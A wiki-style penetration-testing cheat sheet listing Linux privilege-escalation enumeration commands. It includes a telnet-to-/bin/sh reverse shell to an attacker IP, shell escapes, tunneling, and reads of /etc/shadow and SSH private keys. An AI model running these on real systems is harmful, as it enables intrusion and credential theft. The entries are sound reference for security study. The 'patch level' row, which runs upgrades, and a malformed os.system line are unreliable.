Editing Privilege Escalation (section)

=== Linux Enumeration Commands ===
{| class="wikitable sortable"
! Purpose !! Command !! Potential Use in Privilege Escalation
|-
| SUID/SGID binaries || <code>find / -perm -4000 2>/dev/null</code> || May reveal misconfigured binaries that can be exploited for privilege escalation.
|-
| Kernel version || <code>uname -a</code> || Identifying vulnerable kernel versions that have known local privilege escalation exploits.
|-
| Environment variables || <code>env</code> || May expose sensitive paths or misconfigured variables usable in custom script execution.
|-
| Running processes || <code>ps aux</code> || Reveals running services or scripts running as root; useful for process injection or misconfigurations.
|-
| Installed packages (Debian) || <code>dpkg -l</code> || Can identify vulnerable software versions or unintended package installs.
|-
| Installed packages (Red Hat) || <code>rpm -qa</code> || Same as above, but for RPM-based systems.
|-
| Writable directories || <code>find / -writable 2>/dev/null</code> || Writable locations may allow backdoor placement, script replacement, or abuse in cron jobs.
|-
| Cron jobs || <code>cat /etc/crontab</code> || Look for jobs running as root or referencing writable scripts.
|-
| User info || <code>cat /etc/passwd</code> || Useful for identifying users, shell access, and potential privilege chaining.
|-
| Group info || <code>cat /etc/group</code> || Can show membership in sensitive groups like `sudo`, `docker`, or `adm`.
|-
| OS version info (Generic) || <code>cat /etc/issue</code> || Helps fingerprint system for targeted exploits.
|-
| OS version info (All common release files) || <code>cat /etc/*-release</code> || Same purpose — confirms distro and version for exploit matching.
|-
| OS version (Debian based) || <code>cat /etc/lsb-release</code> || Specifically useful for identifying Ubuntu/Debian versions.
|-
| OS version (Red Hat based) || <code>cat /etc/redhat-release</code> || Same, but for RHEL/CentOS systems.
|-
| Kernel version & architecture || <code>cat /proc/version # Shows detailed kernel version and build info</code><br>
<code>uname -a # Displays all system info including kernel name and architecture</code><br>
<code>uname -mrs # Prints kernel name, version, and hardware name</code><br>
<code>rpm -q kernel # Lists installed kernel packages (RPM-based systems)</code><br>
<code>dmesg | grep Linux # Extracts kernel-related boot messages</code><br>
<code>ls /boot | grep vmlinuz- # Lists available kernel images in /boot</code>
|| Used to identify kernel-specific vulnerabilities and tailor exploits to system architecture.
|-
| Environment configuration files || <code>cat /etc/profile # System-wide environment variables</code><br>
<code>cat /etc/bashrc # System-wide bash shell settings</code><br>
<code>cat ~/.bash_profile # User-specific environment variables</code><br>
<code>cat ~/.bashrc # User-specific bash shell settings</code><br>
<code>cat ~/.bash_logout # Commands run at logout</code><br>
<code>env # Print current environment variables</code>
|| Can reveal exposed credentials, custom paths, or insecure settings that can be leveraged for privilege escalation.
|-
| Printer services || <code>lpstat -a # Lists printers and their status</code>
|| May indicate running printer daemons or services with elevated privileges that can be misused or are misconfigured.
|-
| Running services & privileges || <code>ps aux # Lists all running processes with associated users</code>
<code>ps -ef # Alternative view of all processes with full format</code><br>
<code>top # Dynamic real-time process list</code><br>
<code>cat /etc/services # Maps known services to their ports</code>
|| Helps identify active services and their privilege levels, which may include insecure or unnecessary daemons.
|-
| Root-owned services || <code>ps aux | grep root # Filters running processes owned by root</code>
<code>ps -ef | grep root # Alternate full-format view of root-owned processes</code>
|| Useful for spotting services running as root that may be vulnerable or misconfigured — valuable targets for privilege escalation.
|-
| Installed applications & versions || <code>ls -alh /usr/bin/ # Lists applications and binaries in user path</code>
<code>ls -alh /sbin/ # Lists system binaries</code><br>
<code>dpkg -l # Lists installed packages (Debian-based systems)</code>
<code>rpm -qa # Lists installed packages (RPM-based systems)</code>
<code>ls -alh /var/cache/apt/archives # Shows downloaded .deb packages</code>
<code>ls -alh /var/cache/yum/ # Shows cached .rpm packages</code>
|| Reveals software presence and versions — helpful for identifying vulnerable or exploitable programs that may be running.
|-
|-
| Service config files || <code>cat /etc/syslog.conf # Syslog daemon configuration</code>
<code>cat /etc/chttp.conf # Tiny HTTP server config</code>
<code>cat /etc/lighttpd.conf # Lighttpd server config</code>
<code>cat /etc/cups/cupsd.conf # Printing service config</code>
<code>cat /etc/inetd.conf # Legacy super-server config</code>
<code>cat /etc/apache2/apache2.conf # Apache main config (Debian-based)</code>
<code>cat /etc/my.conf # MySQL config file</code>
<code>cat /etc/httpd/conf/httpd.conf # Apache main config (RHEL-based)</code>
<code>cat /opt/lampp/etc/httpd.conf # XAMPP's Apache config</code>
<code>ls -aRl /etc/ | awk '$1 ~ /^.*r.*/' # Lists readable files under /etc/ (potential misconfigurations)</code>
|| Checking these can reveal misconfigured services, overly permissive settings, or vulnerable modules that open attack vectors.
|-
| Scheduled jobs || <code>crontab -l # List current user's cron jobs</code>
<code>ls -alh /var/spool/cron # View cron job files for users</code>
<code>ls -al /etc/ | grep cron # Search for cron-related files</code>
<code>ls -al /etc/cron* # List contents of cron directories</code>
<code>cat /etc/cron* # Print content of all cron config files</code>
<code>cat /etc/at.allow # Users allowed to use 'at'</code>
<code>cat /etc/at.deny # Users denied from using 'at'</code>
<code>cat /etc/cron.allow # Users allowed to use cron</code>
<code>cat /etc/cron.deny # Users denied from using cron</code>
<code>cat /etc/crontab # System-wide cron job definitions</code>
<code>cat /etc/anacrontab # anacron job scheduler config</code>
<code>cat /var/spool/cron/crontabs/root # Root's scheduled cron jobs</code>
|| Scheduled jobs may reveal tasks running as root, outdated scripts, or writable paths exploitable for privilege escalation.
|-
| Plaintext credentials || <code>grep -i user [filename] # Search for 'user' (case-insensitive)</code>
<code>grep -i pass [filename] # Search for 'pass' (case-insensitive)</code>
<code>grep -C 5 "password" [filename] # Show context around 'password'</code>
<code>find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Look for hardcoded credentials in PHP files (e.g., Joomla)</code>
|| These patterns help uncover stored plaintext usernames or passwords in misconfigured or insecure code and config files.
|-
| Network interfaces || <code>/sbin/ifconfig -a # Show all network interfaces and their status</code>
<code>cat /etc/network/interfaces # Network config (Debian-based)</code>
<code>cat /etc/sysconfig/network # Network config (RHEL-based)</code>
|| Identifies available network interfaces and reveals if the system is connected to other networks — useful for lateral movement or pivoting.
|-
| Network configuration || <code>cat /etc/resolv.conf # Shows DNS servers</code>
<code>cat /etc/sysconfig/network # Hostname, default gateway (RHEL-based)</code>
<code>cat /etc/networks # Legacy network name mappings</code>
<code>iptables -L # Lists firewall rules</code>
<code>hostname # Shows system hostname</code>
<code>dnsdomainname # Shows domain part of system's FQDN</code>
|| Helps reveal DNS, gateway, and firewall configuration — can indicate internal network structure and potential egress routes.
|-
| Active connections & services || <code>lsof -i # Lists open network connections</code>
<code>lsof -i :80 # Check if web service is active</code>
<code>grep 80 /etc/services # Maps port 80 to service name</code>
<code>netstat -antup # Shows all TCP/UDP connections with PID</code>
<code>netstat -antpx # Same with extended process info</code>
<code>netstat -tulpn # All listening services with PID</code>
<code>chkconfig --list # Lists services and runlevels</code>
<code>chkconfig --list | grep 3:on # Services started in runlevel 3</code>
<code>last # Login history of users</code>
<code>w # Who is currently logged in</code>
|| Reveals running services, user activity, and possible internal communication — useful for identifying targets or attack surfaces.
|-
| Cached network data || <code>arp -e # ARP table (IP ↔ MAC mappings)</code>
<code>route # Kernel routing table</code>
<code>/sbin/route -nee # Detailed routing info with interface names</code>
|| Displays cached IP and MAC addresses and routing paths — may expose other systems on the network or paths for movement.
|-
| Shell access & interaction || <code>nc -lvp 4444 # Attacker. Input (Commands)</code>
<code>nc -lvp 4445 # Attacker. Output (Results)</code>
<code>telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the target's system. Use the attacker's IP!</code>
|| Establishing an interactive shell can allow full control of the compromised system, enabling command execution and data exfiltration.
|-
| Tunneling & redirection || <code>ssh -D 127.0.0.1:9050 -N [username]@[ip] # Create SOCKS proxy for local tunneling</code>
<code>proxychains ifconfig # Test command routing through proxy</code>
|| Useful for pivoting through the network or anonymizing outbound traffic via local or remote tunneling.
|-
| User identity & privilege || <code>id # Show current user ID and group</code>
<code>who # List currently logged-in users</code>
<code>w # Show who is logged in and what they are doing</code>
<code>last # List recent user logins</code>
<code>cat /etc/passwd | cut -d: -f1 # List of system users</code>
<code>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }' # Identify superuser accounts</code>
<code>awk -F: '($3 == "0") {print}' /etc/passwd # Another way to list UID 0 accounts</code>
<code>cat /etc/sudoers # View sudo privileges</code>
<code>sudo -l # List current user's sudo rights</code>
|| Helps determine current privileges, available escalation paths, and visibility of other user accounts on the system.
|-
| Sensitive files || <code>cat /etc/passwd # User account information</code>
<code>cat /etc/group # Group definitions</code>
<code>cat /etc/shadow # Encrypted passwords (requires root)</code>
<code>ls -alh /var/mail/ # User mailboxes, may contain sensitive data</code>
|| These files can expose system users, password hashes, and private data if permissions are misconfigured or access is gained through privilege escalation.
|-
| Home directory inspection || <code>ls -ahlR /root/ # Recursively list all files in root's home directory</code>
<code>ls -ahlR /home/ # Recursively list all user home directories</code>
|| May reveal leftover files, misconfigured permissions, SSH keys, or credentials stored in plaintext.
|-
| Password storage in known files || <code>cat /var/apache2/config.inc # May contain hardcoded database credentials</code>
<code>cat /var/lib/mysql/mysql/user.MYD # Raw MySQL user table data</code>
<code>cat /root/anaconda-ks.cfg # Kickstart config file, often contains root password in plaintext</code>
|| These locations may store sensitive data such as database passwords or install-time credentials.
|-
| User activity & command history || <code>cat ~/.bash_history # Shell command history</code>
<code>cat ~/.nano_history # Nano editor history</code>
<code>cat ~/.atftp_history # atftp client history</code>
<code>cat ~/.mysql_history # MySQL client history</code>
<code>cat ~/.php_history # PHP interactive shell history</code>
|| Reviewing history files can expose credentials, database access, or other sensitive commands typed by the user.
|-
| Local user information || <code>cat ~/.bashrc # User shell configuration</code>
<code>cat ~/.profile # User environment profile</code>
<code>cat /var/mail/root # Root user's email inbox</code>
<code>cat /var/spool/mail/root # Another root mail location</code>
|| These files may reveal environmental setups, messages with credentials, or scripts executed at login.
|-
| SSH key & config files || <code>cat ~/.ssh/authorized_keys # Allowed public keys for login</code>
<code>cat ~/.ssh/identity.pub # Public key used for SSH auth</code>
<code>cat ~/.ssh/identity # Private key (sensitive)</code>
<code>cat ~/.ssh/id_rsa.pub # RSA public key</code>
<code>cat ~/.ssh/id_rsa # RSA private key</code>
<code>cat ~/.ssh/id_dsa.pub # DSA public key</code>
<code>cat ~/.ssh/id_dsa # DSA private key</code>
<code>cat /etc/ssh/ssh_config # SSH client configuration</code>
<code>cat /etc/ssh/sshd_config # SSH daemon configuration</code>
<code>cat /etc/ssh/ssh_host_dsa_key.pub # Host DSA public key</code>
<code>cat /etc/ssh/ssh_host_dsa_key # Host DSA private key</code>
<code>cat /etc/ssh/ssh_host_rsa_key.pub # Host RSA public key</code>
<code>cat /etc/ssh/ssh_host_rsa_key # Host RSA private key</code>
<code>cat /etc/ssh/ssh_host_key.pub # Legacy host public key</code>
<code>cat /etc/ssh/ssh_host_key # Legacy host private key</code>
|| These files may expose private SSH keys, login credentials, or insecure configurations that enable unauthorized access.
|-
| Writable config files in /etc/ || <code>ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # World-writable files in /etc/</code>
<code>ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner-writable files</code>
<code>ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group-writable files</code>
<code>ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other-writable files</code>
<code>find /etc/ -readable -type f 2>/dev/null # All readable files in /etc/</code>
<code>find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Readable top-level files only</code>
|| Writable configuration files may allow privilege escalation by altering service behavior or execution paths.
|-
| Contents of /var/ || <code>ls -alh /var/log # Logs from services and the system</code>
<code>ls -alh /var/mail # Mailboxes for users</code>
<code>ls -alh /var/spool # Scheduled tasks, print queues, and mail spools</code>
<code>ls -alh /var/spool/lpd # Line printer daemon data</code>
<code>ls -alh /var/lib/pgsql # PostgreSQL data directory</code>
<code>ls -alh /var/lib/mysql # MySQL database directory</code>
<code>cat /var/lib/dhcp3/dhclient.leases # DHCP lease information</code>
|| These directories may hold logs, mail, databases, or cached network info that could leak sensitive data or credentials.
|-
| Web directories and config files || <code>ls -alhR /var/www/ # Default web root on many systems</code>
<code>ls -alhR /srv/www/htdocs/ # SUSE/openSUSE web root</code>
<code>ls -alhR /usr/local/www/apache22/data/ # FreeBSD Apache web root</code>
<code>ls -alhR /opt/lampp/htdocs/ # XAMPP web root</code>
<code>ls -alhR /var/www/html/ # Common web root (e.g. CentOS, Ubuntu)</code>
|| Useful for discovering exposed config files, credentials, or sensitive content in hosted web applications.
|-
| Log file inspection || <code>cat /etc/httpd/logs/access_log # Apache access log</code>
<code>cat /etc/httpd/logs/access.log # Apache access log alt path</code>
<code>cat /etc/httpd/logs/error_log # Apache error log</code>
<code>cat /etc/httpd/logs/error.log # Apache error log alt path</code>
<code>cat /var/log/apache2/access_log # Apache2 access log</code>
<code>cat /var/log/apache2/access.log # Apache2 access log alt path</code>
<code>cat /var/log/apache2/error_log # Apache2 error log</code>
<code>cat /var/log/apache2/error.log # Apache2 error log alt path</code>
<code>cat /var/log/apache/access_log # Apache access log (alt)</code>
<code>cat /var/log/apache/access.log # Apache access log (alt)</code>
<code>cat /var/log/auth.log # Authentication events</code>
<code>cat /var/log/chttp.log # cHTTP log</code>
<code>cat /var/log/cups/error_log # Printer service log</code>
<code>cat /var/log/dpkg.log # Package installation log (Debian)</code>
<code>cat /var/log/faillog # Failed login attempts</code>
<code>cat /var/log/httpd/access_log # Apache access log</code>
<code>cat /var/log/httpd/access.log # Apache access log</code>
<code>cat /var/log/httpd/error_log # Apache error log</code>
<code>cat /var/log/httpd/error.log # Apache error log</code>
<code>cat /var/log/lastlog # Last login of all users</code>
<code>cat /var/log/lighttpd/access.log # Lighttpd access log</code>
<code>cat /var/log/lighttpd/error.log # Lighttpd error log</code>
<code>cat /var/log/lighttpd/lighttpd.access.log # Lighttpd alt access log</code>
<code>cat /var/log/lighttpd/lighttpd.error.log # Lighttpd alt error log</code>
<code>cat /var/log/messages # General system messages</code>
<code>cat /var/log/secure # Security/authentication log</code>
<code>cat /var/log/syslog # System log (Ubuntu, Debian)</code>
<code>cat /var/log/wtmp # Login history (binary format)</code>
<code>cat /var/log/xferlog # FTP file transfer log</code>
<code>cat /var/log/yum.log # YUM package manager log</code>
<code>cat /var/run/utmp # Current logins (binary format)</code>
<code>cat /var/webmin/miniserv.log # Webmin log</code>
<code>cat /var/www/logs/access_log # Apache access log (within web root)</code>
<code>cat /var/www/logs/access.log # Apache access log (within web root)</code>
<code>ls -alh /var/lib/dhcp3/ # DHCP lease and config files</code>
<code>ls -alh /var/log/postgresql/ # PostgreSQL logs</code>
<code>ls -alh /var/log/proftpd/ # FTP server logs</code>
<code>ls -alh /var/log/samba/ # SMB service logs</code>
|| Reviewing log files may reveal usernames, passwords, visited URLs, session tokens, or useful paths for local file inclusion (LFI) or privilege escalation.
|-
| Shell escape techniques || <code>python -c 'import pty;pty.spawn("/bin/bash")' # Spawn interactive bash shell via Python</code>
<code>echo os.system('/bin/bash') # Execute bash from within echo/os.system()</code>
<code>/bin/sh -i # Interactive shell via /bin/sh</code>
|| Useful for escaping restricted shells or limited environments to gain a fully interactive session.
|-
| Mounted file-systems || <code>mount # Show all currently mounted file systems</code>
<code>df -h # Show disk usage in human-readable format</code>
|| Reveals mounted volumes, file systems, and potential writable targets for persistence or data access.
|-
| Unmounted file-systems || <code>cat /etc/fstab # Configuration file for disk mounting at boot</code>
|| Shows devices intended for mounting — may reveal hidden partitions, backup volumes, or encrypted containers.
|-
| Advanced file permissions || <code>find / -perm -1000 -type d 2>/dev/null # Sticky bit directories (e.g., /tmp)</code>
<code>find / -perm -g=s -type f 2>/dev/null # Files with SGID set</code>
<code>find / -perm -u=s -type f 2>/dev/null # Files with SUID set</code>
<code>find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID files</code>
<code>for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Search *bin dirs for SGID/SUID</code>
<code>find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null # Deep search for SUID/SGID, exclude symlinks</code>
|| SUID/SGID/sticky permissions are a common source of privilege escalation vectors, especially on older systems or misconfigured apps.
|-
| Writable & executable directories || <code>find / -writable -type d 2>/dev/null # World-writable directories</code>
<code>find / -perm -222 -type d 2>/dev/null # Directories with write permission for anyone</code>
<code>find / -perm -o w -type d 2>/dev/null # Same: world-writeable directories</code>
<code>find / -perm -o x -type d 2>/dev/null # World-executable directories</code>
<code>find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # Directories writable & executable by anyone</code>
|| Identifies folders where an attacker can drop binaries or scripts for execution — commonly abused for persistence and privilege escalation.
|-
| Problematic files & ownership || <code>find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # World-writable dirs without sticky bit</code>
<code>find /dir -xdev \( -nouser -o -nogroup \) -print # Files with no valid user/group owner</code>
|| These can indicate misconfigured permissions, abandoned files, or opportunities to tamper with files belonging to no defined user.
|-
| Available dev tools & languages || <code>find / -name perl* # Locate Perl installations</code>
<code>find / -name python* # Locate Python interpreters</code>
<code>find / -name gcc* # Locate GNU Compiler Collection binaries</code>
<code>find / -name cc # Locate C compiler</code>
|| Identifying available programming environments allows exploit code to be compiled or interpreted locally — essential for privilege escalation via code execution.
|-
| File upload capabilities || <code>find / -name wget # Check for file download via wget</code>
<code>find / -name nc* # Netcat binaries</code>
<code>find / -name netcat* # Alternative name for Netcat</code>
<code>find / -name tftp* # TFTP client</code>
<code>find / -name ftp # Basic FTP client</code>
|| Discovering which tools are present for file transfer helps determine how exploits, scripts, or reverse shells can be delivered to the system.
|-
| System patch level || <code>apt-get update && apt-get upgrade # Update package lists and upgrade all packages (Debian-based)</code>
<code>yum update # Update all packages (RHEL-based)</code>
|| Helps determine if the system has known vulnerabilities due to missing patches. Unpatched systems are often exploitable through public CVEs.



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